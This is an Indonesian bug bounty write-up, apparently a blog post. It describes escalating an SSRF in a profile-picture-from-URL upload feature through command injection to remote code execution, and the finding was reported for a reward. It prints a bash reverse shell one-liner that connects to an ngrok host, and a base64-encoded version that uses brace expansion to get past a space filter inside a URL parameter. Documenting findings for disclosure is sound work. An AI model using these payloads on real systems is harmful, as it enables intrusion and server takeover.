Hallo bug hunterr ! Pada tulisan pertama saya di tahun 2023 kali ini saya ingin membahas bagaimana cara mendapatkan $1000 pertama ditahun ini dari sebuah kerentanan yang awalnya sebatas informative menjadi critical severity yaitu dengan meng-eskalasi kerentanan SSRF (yang kalo di Google kerentanan ini dianggap fitur) menjadi RCE yang dapat menghancurkan sebuah system.
Case#1 Cerita saya mendapatkan bug SSRF tersebut.
Ketika melakukan Footprinting diberbagai menu yang ada, ada salah satu fitur yang menarik pehatian saya yaitu fitur “Upload profile picture from URL“.
Tanpa berpikir panjang , langsung saya inputkan sebuah payload SSRF yang saya generate dari Burpcollaborator. dan resultnya pun payload tersebut ter-eksekusi dengan menampilkan sebuah IP internal dari server tersebut.
Namun, dengan itu semua belum cukup karena ini memanglah “Fitur” jelas saja payload saya ter-eksekusi. Jika saya report sekarang pun mungkin hasilnya hanya sebatas Informative seperti di Google.
Case#2 Command Injection yang tak terduga
Setelah berpikir cukup lama dan membaca berbagai referensi mengenai bagaimana cara untuk meng-eskalasi serangan SSRF ini, saya baru teringat bahwa inputan URL tersebut tidak memiliki filter karakter apapun. (Modal sing penting yakin) Saya langsung membuat sebuah payload basic command injection seperti id, whoami dengan menambahkan fake params pada payload SSRF saya seperti ini :
Dan hasilnya, payload command injection saya ter-eksekusi, Terbaik emang !
Case#3 Bypass space untuk melakukan Reverse Shell
Aslinya untuk case#2 saja sudah cukup untuk saya report, namun untuk lebih meyakinkan lagi bahwa itu memang benar-benar payload injection saya ter-eksekusi. saya melakukan riset kembali ketika beberapa command seperti cat /etc/passwd, /etc/hosts dll tidak tereksekusi yang membuat saya pesimis. apakah itu benar-benar sudah dilakukan eskalasi ke code injection.
Mencoba melakukan backconnect / reverse shell menggunakan ngrok sebagai forwarder netcut sebagai listener.
sh -i >& /dev/tcp/3489-138-199-21-107.jp.ngrok.io/16844 0>&1
Final payload for Bypass space (base64) :
https://collaborator/ssrf.png?id=`{eval,$({echo,"c2ggLWkgPiYgL2Rldi90Y3AvMzQ4OS0xMzgtMTk5LTIxLTEwNy5qcC5uZ3Jvay5pby8xNjg0NCAwPiYx"}|{base64,-d})}`
Dan benar saja reverse shell berhasil dilakukan terlihat seperti pada gambar diatas. tak perlu lebih jauh lagi saya langsung melaporkanya dan mendapatkan critical severity 😀